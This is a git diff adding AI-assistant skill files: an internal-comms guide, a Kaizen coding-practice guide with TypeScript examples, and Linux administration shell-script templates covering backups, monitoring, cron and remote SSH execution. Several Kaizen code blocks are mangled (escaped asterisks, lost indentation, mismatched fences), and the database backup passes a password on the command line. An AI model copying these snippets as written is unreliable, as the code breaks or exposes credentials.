8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/internal-comms/SKILL.md b/skills/internal-comms/SKILL.md new file mode 100644 index 00000000..56ea935b --- /dev/null +++ b/skills/internal-comms/SKILL.md @@ -0,0 +1,32 @@ +--- +name: internal-comms +description: A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.). +license: Complete terms in LICENSE.txt +--- + +## When to use this skill +To write internal communications, use this skill for: +- 3P updates (Progress, Plans, Problems) +- Company newsletters +- FAQ responses +- Status reports +- Leadership updates +- Project updates +- Incident reports + +## How to use this skill + +To write any internal communication: + +1. **Identify the communication type** from the request +2. **Load the appropriate guideline file** from the `examples/` directory: + - `examples/3p-updates.md` - For Progress/Plans/Problems team updates + - `examples/company-newsletter.md` - For company-wide newsletters + - `examples/faq-answers.md` - For answering frequently asked questions + - `examples/general-comms.md` - For anything else that doesn't explicitly match one of the above +3. **Follow the specific instructions** in that file for formatting, tone, and content gathering + +If the communication type doesn't match any existing guideline, ask for clarification or more context about the desired format. + +## Keywords +3P updates, company newsletter, company comms, weekly update, faqs, common questions, updates, internal comms diff --git a/skills/kaizen/SKILL.md b/skills/kaizen/SKILL.md new file mode 100644 index 00000000..0f5d47c2 --- /dev/null +++ b/skills/kaizen/SKILL.md @@ -0,0 +1,730 @@ +--- +name: kaizen +description: Guide for continuous improvement, error proofing, and standardization. Use this skill when the user wants to improve code quality, refactor, or discuss process improvements. +--- + +# Kaizen: Continuous Improvement + +## Overview + +Small improvements, continuously. Error-proof by design. Follow what works. Build only what's needed. + +**Core principle:** Many small improvements beat one big change. Prevent errors at design time, not with fixes. + +## When to Use + +**Always applied for:** + +- Code implementation and refactoring +- Architecture and design decisions +- Process and workflow improvements +- Error handling and validation + +**Philosophy:** Quality through incremental progress and prevention, not perfection through massive effort. + +## The Four Pillars + +### 1. Continuous Improvement (Kaizen) + +Small, frequent improvements compound into major gains. + +#### Principles + +**Incremental over revolutionary:** + +- Make smallest viable change that improves quality +- One improvement at a time +- Verify each change before next +- Build momentum through small wins + +**Always leave code better:** + +- Fix small issues as you encounter them +- Refactor while you work (within scope) +- Update outdated comments +- Remove dead code when you see it + +**Iterative refinement:** + +- First version: make it work +- Second pass: make it clear +- Third pass: make it efficient +- Don't try all three at once + +<Good> +```typescript +// Iteration 1: Make it work +const calculateTotal = (items: Item[]) => { + let total = 0; + for (let i = 0; i < items.length; i++) { + total += items[i].price * items[i].quantity; + } + return total; +}; + +// Iteration 2: Make it clear (refactor) +const calculateTotal = (items: Item[]): number => { +return items.reduce((total, item) => { +return total + (item.price \* item.quantity); +}, 0); +}; + +// Iteration 3: Make it robust (add validation) +const calculateTotal = (items: Item[]): number => { +if (!items?.length) return 0; + +return items.reduce((total, item) => { +if (item.price < 0 || item.quantity < 0) { +throw new Error('Price and quantity must be non-negative'); +} +return total + (item.price \* item.quantity); +}, 0); +}; + +```` +Each step is complete, tested, and working +</Good> + +<Bad> +```typescript +// Trying to do everything at once +const calculateTotal = (items: Item[]): number => { + // Validate, optimize, add features, handle edge cases all together + if (!items?.length) return 0; + const validItems = items.filter(item => { + if (item.price < 0) throw new Error('Negative price'); + if (item.quantity < 0) throw new Error('Negative quantity'); + return item.quantity > 0; // Also filtering zero quantities + }); + // Plus caching, plus logging, plus currency conversion... + return validItems.reduce(...); // Too many concerns at once +}; +```` + +Overwhelming, error-prone, hard to verify +</Bad> + +#### In Practice + +**When implementing features:** + +1. Start with simplest version that works +2. Add one improvement (error handling, validation, etc.) +3. Test and verify +4. Repeat if time permits +5. Don't try to make it perfect immediately + +**When refactoring:** + +- Fix one smell at a time +- Commit after each improvement +- Keep tests passing throughout +- Stop when "good enough" (diminishing returns) + +**When reviewing code:** + +- Suggest incremental improvements (not rewrites) +- Prioritize: critical → important → nice-to-have +- Focus on highest-impact changes first +- Accept "better than before" even if not perfect + +### 2. Poka-Yoke (Error Proofing) + +Design systems that prevent errors at compile/design time, not runtime. + +#### Principles + +**Make errors impossible:** + +- Type system catches mistakes +- Compiler enforces contracts +- Invalid states unrepresentable +- Errors caught early (left of production) + +**Design for safety:** + +- Fail fast and loudly +- Provide helpful error messages +- Make correct path obvious +- Make incorrect path difficult + +**Defense in layers:** + +1. Type system (compile time) +2. Validation (runtime, early) +3. Guards (preconditions) +4. Error boundaries (graceful degradation) + +#### Type System Error Proofing + +<Good> +```typescript +// Error: string status can be any value +type OrderBad = { + status: string; // Can be "pending", "PENDING", "pnding", anything! + total: number; +}; + +// Good: Only valid states possible +type OrderStatus = 'pending' | 'processing' | 'shipped' | 'delivered'; +type Order = { +status: OrderStatus; +total: number; +}; + +// Better: States with associated data +type Order = +| { status: 'pending'; createdAt: Date } +| { status: 'processing'; startedAt: Date; estimatedCompletion: Date } +| { status: 'shipped'; trackingNumber: string; shippedAt: Date } +| { status: 'delivered'; deliveredAt: Date; signature: string }; + +// Now impossible to have shipped without trackingNumber + +```` +Type system prevents entire classes of errors +</Good> + +<Good> +```typescript +// Make invalid states unrepresentable +type NonEmptyArray<T> = [T, ...T[]]; + +const firstItem = <T>(items: NonEmptyArray<T>): T => { + return items[0]; // Always safe, never undefined! +}; + +// Caller must prove array is non-empty +const items: number[] = [1, 2, 3]; +if (items.length > 0) { + firstItem(items as NonEmptyArray<number>); // Safe +} +```` + +Function signature guarantees safety +</Good> + +#### Validation Error Proofing + +<Good> +```typescript +// Error: Validation after use +const processPayment = (amount: number) => { + const fee = amount * 0.03; // Used before validation! + if (amount <= 0) throw new Error('Invalid amount'); + // ... +}; + +// Good: Validate immediately +const processPayment = (amount: number) => { +if (amount <= 0) { +throw new Error('Payment amount must be positive'); +} +if (amount > 10000) { +throw new Error('Payment exceeds maximum allowed'); +} + +const fee = amount \* 0.03; +// ... now safe to use +}; + +// Better: Validation at boundary with branded type +type PositiveNumber = number & { readonly \_\_brand: 'PositiveNumber' }; + +const validatePositive = (n: number): PositiveNumber => { +if (n <= 0) throw new Error('Must be positive'); +return n as PositiveNumber; +}; + +const processPayment = (amount: PositiveNumber) => { +// amount is guaranteed positive, no need to check +const fee = amount \* 0.03; +}; + +// Validate at system boundary +const handlePaymentRequest = (req: Request) => { +const amount = validatePositive(req.body.amount); // Validate once +processPayment(amount); // Use everywhere safely +}; + +```` +Validate once at boundary, safe everywhere else +</Good> + +#### Guards and Preconditions + +<Good> +```typescript +// Early returns prevent deeply nested code +const processUser = (user: User | null) => { + if (!user) { + logger.error('User not found'); + return; + } + + if (!user.email) { + logger.error('User email missing'); + return; + } + + if (!user.isActive) { + logger.info('User inactive, skipping'); + return; + } + + // Main logic here, guaranteed user is valid and active + sendEmail(user.email, 'Welcome!'); +}; +```` + +Guards make assumptions explicit and enforced +</Good> + +#### Configuration Error Proofing + +<Good> +```typescript +// Error: Optional config with unsafe defaults +type ConfigBad = { + apiKey?: string; + timeout?: number; +}; + +const client = new APIClient({ timeout: 5000 }); // apiKey missing! + +// Good: Required config, fails early +type Config = { +apiKey: string; +timeout: number; +}; + +const loadConfig = (): Config => { +const apiKey = process.env.API_KEY; +if (!apiKey) { +throw new Error('API_KEY environment variable required'); +} + +return { +apiKey, +timeout: 5000, +}; +}; + +// App fails at startup if config invalid, not during request +const config = loadConfig(); +const client = new APIClient(config); + +```` +Fail at startup, not in production +</Good> + +#### In Practice + +**When designing APIs:** +- Use types to constrain inputs +- Make invalid states unrepresentable +- Return Result<T, E> instead of throwing +- Document preconditions in types + +**When handling errors:** +- Validate at system boundaries + +- Use guards for preconditions +- Fail fast with clear messages +- Log context for debugging + +**When configuring:** +- Required over optional with defaults +- Validate all config at startup +- Fail deployment if config invalid +- Don't allow partial configurations + +### 3. Standardized Work +Follow established patterns. Document what works. Make good practices easy to follow. + +#### Principles + +**Consistency over cleverness:** +- Follow existing codebase patterns +- Don't reinvent solved problems +- New pattern only if significantly better +- Team agreement on new patterns + +**Documentation lives with code:** +- README for setup and architecture +- CLAUDE.md for AI coding conventions +- Comments for "why", not "what" +- Examples for complex patterns + +**Automate standards:** +- Linters enforce style +- Type checks enforce contracts +- Tests verify behavior +- CI/CD enforces quality gates + +#### Following Patterns + +<Good> +```typescript +// Existing codebase pattern for API clients +class UserAPIClient { + async getUser(id: string): Promise<User> { + return this.fetch(`/users/${id}`); + } +} + +// New code follows the same pattern +class OrderAPIClient { + async getOrder(id: string): Promise<Order> { + return this.fetch(`/orders/${id}`); + } +} +```` + +Consistency makes codebase predictable +</Good> + +<Bad> +```typescript +// Existing pattern uses classes +class UserAPIClient { /* ... */ } + +// New code introduces different pattern without discussion +const getOrder = async (id: string): Promise<Order> => { +// Breaking consistency "because I prefer functions" +}; + +```` +Inconsistency creates confusion +</Bad> + +#### Error Handling Patterns + +<Good> +```typescript +// Project standard: Result type for recoverable errors +type Result<T, E> = { ok: true; value: T } | { ok: false; error: E }; + +// All services follow this pattern +const fetchUser = async (id: string): Promise<Result<User, Error>> => { + try { + const user = await db.users.findById(id); + if (!user) { + return { ok: false, error: new Error('User not found') }; + } + return { ok: true, value: user }; + } catch (err) { + return { ok: false, error: err as Error }; + } +}; + +// Callers use consistent pattern +const result = await fetchUser('123'); +if (!result.ok) { + logger.error('Failed to fetch user', result.error); + return; +} +const user = result.value; // Type-safe! +```` + +Standard pattern across codebase +</Good> + +#### Documentation Standards + +<Good> +```typescript +/** + * Retries an async operation with exponential backoff. + * + * Why: Network requests fail temporarily; retrying improves reliability + * When to use: External API calls, database operations + * When not to use: User input validation, internal function calls + * + * @example + * const result = await retry( + * () => fetch('https://api.example.com/data'), + * { maxAttempts: 3, baseDelay: 1000 } + * ); + */ +const retry = async <T>( + operation: () => Promise<T>, + options: RetryOptions +): Promise<T> => { + // Implementation... +}; +``` +Documents why, when, and how +</Good> + +#### In Practice + +**Before adding new patterns:** + +- Search codebase for similar problems solved +- Check CLAUDE.md for project conventions +- Discuss with team if breaking from pattern +- Update docs when introducing new pattern + +**When writing code:** + +- Match existing file structure +- Use same naming conventions +- Follow same error handling approach +- Import from same locations + +**When reviewing:** + +- Check consistency with existing code +- Point to examples in codebase +- Suggest aligning with standards +- Update CLAUDE.md if new standard emerges + +### 4. Just-In-Time (JIT) + +Build what's needed now. No more, no less. Avoid premature optimization and over-engineering. + +#### Principles + +**YAGNI (You Aren't Gonna Need It):** + +- Implement only current requirements +- No "just in case" features +- No "we might need this later" code +- Delete speculation + +**Simplest thing that works:** + +- Start with straightforward solution +- Add complexity only when needed +- Refactor when requirements change +- Don't anticipate future needs + +**Optimize when measured:** + +- No premature optimization +- Profile before optimizing +- Measure impact of changes +- Accept "good enough" performance + +#### YAGNI in Action + +<Good> +```typescript +// Current requirement: Log errors to console +const logError = (error: Error) => { + console.error(error.message); +}; +``` +Simple, meets current need +</Good> + +<Bad> +```typescript +// Over-engineered for "future needs" +interface LogTransport { + write(level: LogLevel, message: string, meta?: LogMetadata): Promise<void>; +} + +class ConsoleTransport implements LogTransport { /_... _/ } +class FileTransport implements LogTransport { /_ ... _/ } +class RemoteTransport implements LogTransport { /_ ..._/ } + +class Logger { +private transports: LogTransport[] = []; +private queue: LogEntry[] = []; +private rateLimiter: RateLimiter; +private formatter: LogFormatter; + +// 200 lines of code for "maybe we'll need it" +} + +const logError = (error: Error) => { +Logger.getInstance().log('error', error.message); +}; + +```` +Building for imaginary future requirements +</Bad> + +**When to add complexity:** +- Current requirement demands it +- Pain points identified through use +- Measured performance issues +- Multiple use cases emerged + +<Good> +```typescript +// Start simple +const formatCurrency = (amount: number): string => { + return `$${amount.toFixed(2)}`; +}; + +// Requirement evolves: support multiple currencies +const formatCurrency = (amount: number, currency: string): string => { + const symbols = { USD: '$', EUR: '€', GBP: '£' }; + return `${symbols[currency]}${amount.toFixed(2)}`; +}; + +// Requirement evolves: support localization +const formatCurrency = (amount: number, locale: string): string => { + return new Intl.NumberFormat(locale, {\n style: 'currency', + currency: locale === 'en-US' ? 'USD' : 'EUR', + }).format(amount); +}; +```` + +Complexity added only when needed +</Good> + +#### Premature Abstraction + +<Bad> +```typescript +// One use case, but building generic framework +abstract class BaseCRUDService<T> { + abstract getAll(): Promise<T[]>; + abstract getById(id: string): Promise<T>; + abstract create(data: Partial<T>): Promise<T>; + abstract update(id: string, data: Partial<T>): Promise<T>; + abstract delete(id: string): Promise<void>; +} + +class GenericRepository<T> { /_300 lines _/ } +class QueryBuilder<T> { /_ 200 lines_/ } +// ... building entire ORM for single table + +```` +Massive abstraction for uncertain future +</Bad> + +<Good> +```typescript +// Simple functions for current needs +const getUsers = async (): Promise<User[]> => { + return db.query('SELECT * FROM users'); +}; + +const getUserById = async (id: string): Promise<User | null> => { + return db.query('SELECT * FROM users WHERE id = $1', [id]); +}; + +// When pattern emerges across multiple entities, then abstract +```` + +Abstract only when pattern proven across 3+ cases +</Good> + +#### Performance Optimization + +<Good> +```typescript +// Current: Simple approach +const filterActiveUsers = (users: User[]): User[] => { + return users.filter(user => user.isActive); +}; + +// Benchmark shows: 50ms for 1000 users (acceptable) +// ✓ Ship it, no optimization needed + +// Later: After profiling shows this is bottleneck +// Then optimize with indexed lookup or caching + +```` +Optimize based on measurement, not assumptions +</Good> + +<Bad> +```typescript +// Premature optimization +const filterActiveUsers = (users: User[]): User[] => { + // "This might be slow, so let's cache and index" + const cache = new WeakMap(); + const indexed = buildBTreeIndex(users, 'isActive'); + // 100 lines of optimization code + // Adds complexity, harder to maintain + // No evidence it was needed +};\ +```` + +Complex solution for unmeasured problem +</Bad> + +#### In Practice + +**When implementing:** + +- Solve the immediate problem +- Use straightforward approach +- Resist "what if" thinking +- Delete speculative code + +**When optimizing:** + +- Profile first, optimize second +- Measure before and after +- Document why optimization needed +- Keep simple version in tests + +**When abstracting:** + +- Wait for 3+ similar cases (Rule of Three) +- Make abstraction as simple as possible +- Prefer duplication over wrong abstraction +- Refactor when pattern clear + +## Integration with Commands + +The Kaizen skill guides how you work. The commands provide structured analysis: + +- **`/why`**: Root cause analysis (5 Whys) +- **`/cause-and-effect`**: Multi-factor analysis (Fishbone) +- **`/plan-do-check-act`**: Iterative improvement cycles +- **`/analyse-problem`**: Comprehensive documentation (A3) +- **`/analyse`**: Smart method selection (Gemba/VSM/Muda) + +Use commands for structured problem-solving. Apply skill for day-to-day development. + +## Red Flags + +**Violating Continuous Improvement:** + +- "I'll refactor it later" (never happens) +- Leaving code worse than you found it +- Big bang rewrites instead of incremental + +**Violating Poka-Yoke:** + +- "Users should just be careful" +- Validation after use instead of before +- Optional config with no validation + +**Violating Standardized Work:** + +- "I prefer to do it my way" +- Not checking existing patterns +- Ignoring project conventions + +**Violating Just-In-Time:** + +- "We might need this someday" +- Building frameworks before using them +- Optimizing without measuring + +## Remember + +**Kaizen is about:** + +- Small improvements continuously +- Preventing errors by design +- Following proven patterns +- Building only what's needed + +**Not about:** + +- Perfection on first try +- Massive refactoring projects +- Clever abstractions +- Premature optimization + +**Mindset:** Good enough today, better tomorrow. Repeat. diff --git a/skills/linux-shell-scripting/SKILL.md b/skills/linux-shell-scripting/SKILL.md new file mode 100644 index 00000000..255bcfc1 --- /dev/null +++ b/skills/linux-shell-scripting/SKILL.md @@ -0,0 +1,501 @@ +--- +name: Linux Production Shell Scripts +description: This skill should be used when the user asks to "create bash scripts", "automate Linux tasks", "monitor system resources", "backup files", "manage users", or "write production shell scripts". It provides ready-to-use shell script templates for system administration. +--- + +# Linux Production Shell Scripts + +## Purpose + +Provide production-ready shell script templates for common Linux system administration tasks including backups, monitoring, user management, log analysis, and automation. These scripts serve as building blocks for security operations and penetration testing environments. + +## Prerequisites + +### Required Environment +- Linux/Unix system (bash shell) +- Appropriate permissions for tasks +- Required utilities installed (rsync, openssl, etc.) + +### Required Knowledge +- Basic bash scripting +- Linux file system structure +- System administration concepts + +## Outputs and Deliverables + +1. **Backup Solutions** - Automated file and database backups +2. **Monitoring Scripts** - Resource usage tracking +3. **Automation Tools** - Scheduled task execution +4. **Security Scripts** - Password management, encryption + +## Core Workflow + +### Phase 1: File Backup Scripts + +**Basic Directory Backup** +```bash +#!/bin/bash +backup_dir="/path/to/backup" +source_dir="/path/to/source" + +# Create a timestamped backup of the source directory +tar -czf "$backup_dir/backup_$(date +%Y%m%d_%H%M%S).tar.gz" "$source_dir" +echo "Backup completed: backup_$(date +%Y%m%d_%H%M%S).tar.gz" +``` + +**Remote Server Backup** +```bash +#!/bin/bash +source_dir="/path/to/source" +remote_server="user@remoteserver:/path/to/backup" + +# Backup files/directories to a remote server using rsync +rsync -avz --progress "$source_dir" "$remote_server" +echo "Files backed up to remote server." +``` + +**Backup Rotation Script** +```bash +#!/bin/bash +backup_dir="/path/to/backups" +max_backups=5 + +# Rotate backups by deleting the oldest if more than max_backups +while [ $(ls -1 "$backup_dir" | wc -l) -gt "$max_backups" ]; do + oldest_backup=$(ls -1t "$backup_dir" | tail -n 1) + rm -r "$backup_dir/$oldest_backup" + echo "Removed old backup: $oldest_backup" +done +echo "Backup rotation completed." +``` + +**Database Backup Script** +```bash +#!/bin/bash +database_name="your_database" +db_user="username" +db_pass="password" +output_file="database_backup_$(date +%Y%m%d).sql" + +# Perform database backup using mysqldump +mysqldump -u "$db_user" -p"$db_pass" "$database_name" > "$output_file" +gzip "$output_file" +echo "Database backup created: $output_file.gz" +``` + +### Phase 2: System Monitoring Scripts + +**CPU Usage Monitor** +```bash +#!/bin/bash +threshold=90 + +# Monitor CPU usage and trigger alert if threshold exceeded +cpu_usage=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d. -f1) + +if [ "$cpu_usage" -gt "$threshold" ]; then + echo "ALERT: High CPU usage detected: $cpu_usage%" + # Add notification logic (email, slack, etc.) + # mail -s "CPU Alert" admin@example.com <<< "CPU usage: $cpu_usage%" +fi +``` + +**Disk Space Monitor** +```bash +#!/bin/bash +threshold=90 +partition="/dev/sda1" + +# Monitor disk usage and trigger alert if threshold exceeded +disk_usage=$(df -h | grep "$partition" | awk '{print $5}' | cut -d% -f1) + +if [ "$disk_usage" -gt "$threshold" ]; then + echo "ALERT: High disk usage detected: $disk_usage%" + # Add alert/notification logic here +fi +``` + +**CPU Usage Logger** +```bash +#!/bin/bash +output_file="cpu_usage_log.txt" + +# Log current CPU usage to a file with timestamp +timestamp=$(date '+%Y-%m-%d %H:%M:%S') +cpu_usage=$(top -bn1 | grep 'Cpu(s)' | awk '{print $2}' | cut -d. -f1) +echo "$timestamp - CPU Usage: $cpu_usage%" >> "$output_file" +echo "CPU usage logged." +``` + +**System Health Check** +```bash +#!/bin/bash +output_file="system_health_check.txt" + +# Perform system health check and save results to a file +{ + echo "System Health Check - $(date)" + echo "================================" + echo "" + echo "Uptime:" + uptime + echo "" + echo "Load Average:" + cat /proc/loadavg + echo "" + echo "Memory Usage:" + free -h + echo "" + echo "Disk Usage:" + df -h + echo "" + echo "Top Processes:" + ps aux --sort=-%cpu | head -10 +} > "$output_file" + +echo "System health check saved to $output_file" +``` + +### Phase 3: User Management Scripts + +**User Account Creation** +```bash +#!/bin/bash +username="newuser" + +# Check if user exists; if not, create new user +if id "$username" &>/dev/null; then + echo "User $username already exists." +else + useradd -m -s /bin/bash "$username" + echo "User $username created." + + # Set password interactively + passwd "$username" +fi +``` + +**Password Expiry Checker** +```bash +#!/bin/bash +output_file="password_expiry_report.txt" + +# Check password expiry for users with bash shell +echo "Password Expiry Report - $(date)" > "$output_file" +echo "=================================" >> "$output_file" + +IFS=$'\n' +for user in $(grep "/bin/bash" /etc/passwd | cut -d: -f1); do + password_expires=$(chage -l "$user" 2>/dev/null | grep "Password expires" | awk -F: '{print $2}') + echo "User: $user - Password Expires: $password_expires" >> "$output_file" +done +unset IFS + +echo "Password expiry report saved to $output_file" +``` + +### Phase 4: Security Scripts + +**Password Generator** +```bash +#!/bin/bash +length=${1:-16} + +# Generate a random password +password=$(openssl rand -base64 48 | tr -dc 'a-zA-Z0-9!@#$%^&*' | head -c"$length") +echo "Generated password: $password" +``` + +**File Encryption Script** +```bash +#!/bin/bash +file="$1" +action="${2:-encrypt}" + +if [ -z "$file" ]; then + echo "Usage: $0 <file> [encrypt|decrypt]" + exit 1 +fi + +if [ "$action" == "encrypt" ]; then + # Encrypt file using AES-256-CBC + openssl enc -aes-256-cbc -salt -pbkdf2 -in "$file" -out "$file.enc" + echo "File encrypted: $file.enc" +elif [ "$action" == "decrypt" ]; then + # Decrypt file + output_file="${file%.enc}" + openssl enc -aes-256-cbc -d -pbkdf2 -in "$file" -out "$output_file" + echo "File decrypted: $output_file" +fi +``` + +### Phase 5: Log Analysis Scripts + +**Error Log Extractor** +```bash +#!/bin/bash +logfile="${1:-/var/log/syslog}" +output_file="error_log_$(date +%Y%m%d).txt" + +# Extract lines with "ERROR" from the log file +grep -i "error\|fail\|critical" "$logfile" > "$output_file" +echo "Error log created: $output_file" +echo "Total errors found: $(wc -l < "$output_file")" +``` + +**Web Server Log Analyzer** +```bash +#!/bin/bash +log_file="${1:-/var/log/apache2/access.log}" + +echo "Web Server Log Analysis" +echo "========================" +echo "" +echo "Top 10 IP Addresses:" +awk '{print $1}' "$log_file" | sort | uniq -c | sort -rn | head -10 +echo "" +echo "Top 10 Requested URLs:" +awk '{print $7}' "$log_file" | sort | uniq -c | sort -rn | head -10 +echo "" +echo "HTTP Status Code Distribution:" +awk '{print $9}' "$log_file" | sort | uniq -c | sort -rn +``` + +### Phase 6: Network Scripts + +**Network Connectivity Checker** +```bash +#!/bin/bash +hosts=("8.8.8.8" "1.1.1.1" "google.com") + +echo "Network Connectivity Check" +echo "==========================" + +for host in "${hosts[@]}"; do + if ping -c 1 -W 2 "$host" &>/dev/null; then + echo "[UP] $host is reachable" + else + echo "[DOWN] $host is unreachable" + fi +done +``` + +**Website Uptime Checker** +```bash +#!/bin/bash +websites=("https://google.com" "https://github.com") +log_file="uptime_log.txt" + +echo "Website Uptime Check - $(date)" >> "$log_file" + +for website in "${websites[@]}"; do + if curl --output /dev/null --silent --head --fail --max-time 10 "$website"; then + echo "[UP] $website is accessible" | tee -a "$log_file" + else + echo "[DOWN] $website is inaccessible" | tee -a "$log_file" + fi +done +``` + +**Network Interface Info** +```bash +#!/bin/bash +interface="${1:-eth0}" + +echo "Network Interface Information: $interface" +echo "=========================================" +ip addr show "$interface" 2>/dev/null || ifconfig "$interface" 2>/dev/null +echo "" +echo "Routing Table:" +ip route | grep "$interface" +``` + +### Phase 7: Automation Scripts + +**Automated Package Installation** +```bash +#!/bin/bash +packages=("vim" "htop" "curl" "wget" "git") + +echo "Installing packages..." + +for package in "${packages[@]}"; do + if dpkg -l | grep -q "^ii $package"; then + echo "[SKIP] $package is already installed" + else + sudo apt-get install -y "$package" + echo "[INSTALLED] $package" + fi +done + +echo "Package installation completed." +``` + +**Task Scheduler (Cron Setup)** +```bash +#!/bin/bash +scheduled_task="/path/to/your_script.sh" +schedule_time="0 2 * * *" # Run at 2 AM daily + +# Add task to crontab +(crontab -l 2>/dev/null; echo "$schedule_time $scheduled_task") | crontab - +echo "Task scheduled: $schedule_time $scheduled_task" +``` + +**Service Restart Script** +```bash +#!/bin/bash +service_name="${1:-apache2}" + +# Restart a specified service +if systemctl is-active --quiet "$service_name"; then + echo "Restarting $service_name..." + sudo systemctl restart "$service_name" + echo "Service $service_name restarted." +else + echo "Service $service_name is not running. Starting..." + sudo systemctl start "$service_name" + echo "Service $service_name started." +fi +``` + +### Phase 8: File Operations + +**Directory Synchronization** +```bash +#!/bin/bash +source_dir="/path/to/source" +destination_dir="/path/to/destination" + +# Synchronize directories using rsync +rsync -avz --delete "$source_dir/" "$destination_dir/" +echo "Directories synchronized successfully." +``` + +**Data Cleanup Script** +```bash +#!/bin/bash +directory="${1:-/tmp}" +days="${2:-7}" + +echo "Cleaning files older than $days days in $directory" + +# Remove files older than specified days +find "$directory" -type f -mtime +"$days" -exec rm -v {} \; +echo "Cleanup completed." +``` + +**Folder Size Checker** +```bash +#!/bin/bash +folder_path="${1:-.}" + +echo "Folder Size Analysis: $folder_path" +echo "====================================" + +# Display sizes of subdirectories sorted by size +du -sh "$folder_path"/* 2>/dev/null | sort -rh | head -20 +echo "" +echo "Total size:" +du -sh "$folder_path" +``` + +### Phase 9: System Information + +**System Info Collector** +```bash +#!/bin/bash +output_file="system_info_$(hostname)_$(date +%Y%m%d).txt" + +{ + echo "System Information Report" + echo "Generated: $(date)" + echo "=========================" + echo "" + echo "Hostname: $(hostname)" + echo "OS: $(uname -a)" + echo "" + echo "CPU Info:" + lscpu | grep -E "Model name|CPU\(s\)|Thread" + echo "" + echo "Memory:" + free -h + echo "" + echo "Disk Space:" + df -h + echo "" + echo "Network Interfaces:" + ip -br addr + echo "" + echo "Logged In Users:" + who +} > "$output_file" + +echo "System info saved to $output_file" +``` + +### Phase 10: Git and Development + +**Git Repository Updater** +```bash +#!/bin/bash +git_repos=("/path/to/repo1" "/path/to/repo2") + +for repo in "${git_repos[@]}"; do + if [ -d "$repo/.git" ]; then + echo "Updating repository: $repo" + cd "$repo" + git fetch --all + git pull origin "$(git branch --show-current)" + echo "Updated: $repo" + else + echo "Not a git repository: $repo" + fi +done + +echo "All repositories updated." +``` + +**Remote Script Execution** +```bash +#!/bin/bash +remote_server="${1:-user@remote-server}" +remote_script="${2:-/path/to/remote/script.sh}" + +# Execute a script on a remote server via SSH +ssh "$remote_server" "bash -s" < "$remote_script" +echo "Remote script executed on $remote_server" +``` + +## Quick Reference + +### Common Script Patterns + +| Pattern | Purpose | +|---------|---------| +| `#!/bin/bash` | Shebang for bash | +| `$(date +%Y%m%d)` | Date formatting | +| `$((expression))` | Arithmetic | +| `${var:-default}` | Default value | +| `"$@"` | All arguments | + +### Useful Commands + +| Command | Purpose | +|---------|---------| +| `chmod +x script.sh` | Make executable | +| `./script.sh` | Run script | +| `nohup ./script.sh &` | Run in background | +| `crontab -e` | Edit cron jobs | +| `source script.sh` | Run in current shell | + +### Cron Format +Minute(0-59) Hour(0-23) Day(1-31) Month(1-12) Weekday(0-7, 0/7=Sun) + +## Constraints and Limitations + +- Always test scripts in non-production first +- Use absolute paths to avoid errors +- Quote variables to handle spaces properly +- Many scripts require root/sudo privileges +- Use `bash -x script.sh` for debugging diff --git a/skills/loki-mode b/skills/loki-mode new file mode 160000 index 00000000..be9270df --- /dev/null +++ b/skills/loki-mode @@ -0,0 +1 @@ +Subproject commit be9270dfb51e61c18528585956bba08eeeccf3d6 diff --git a/skills/mcp-builder/LICENSE.txt b/skills/mcp-builder/LICENSE.txt new file mode 100644 index 00000000..7a4a3ea2 --- /dev/null +++ b/skills/mcp-builder/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is 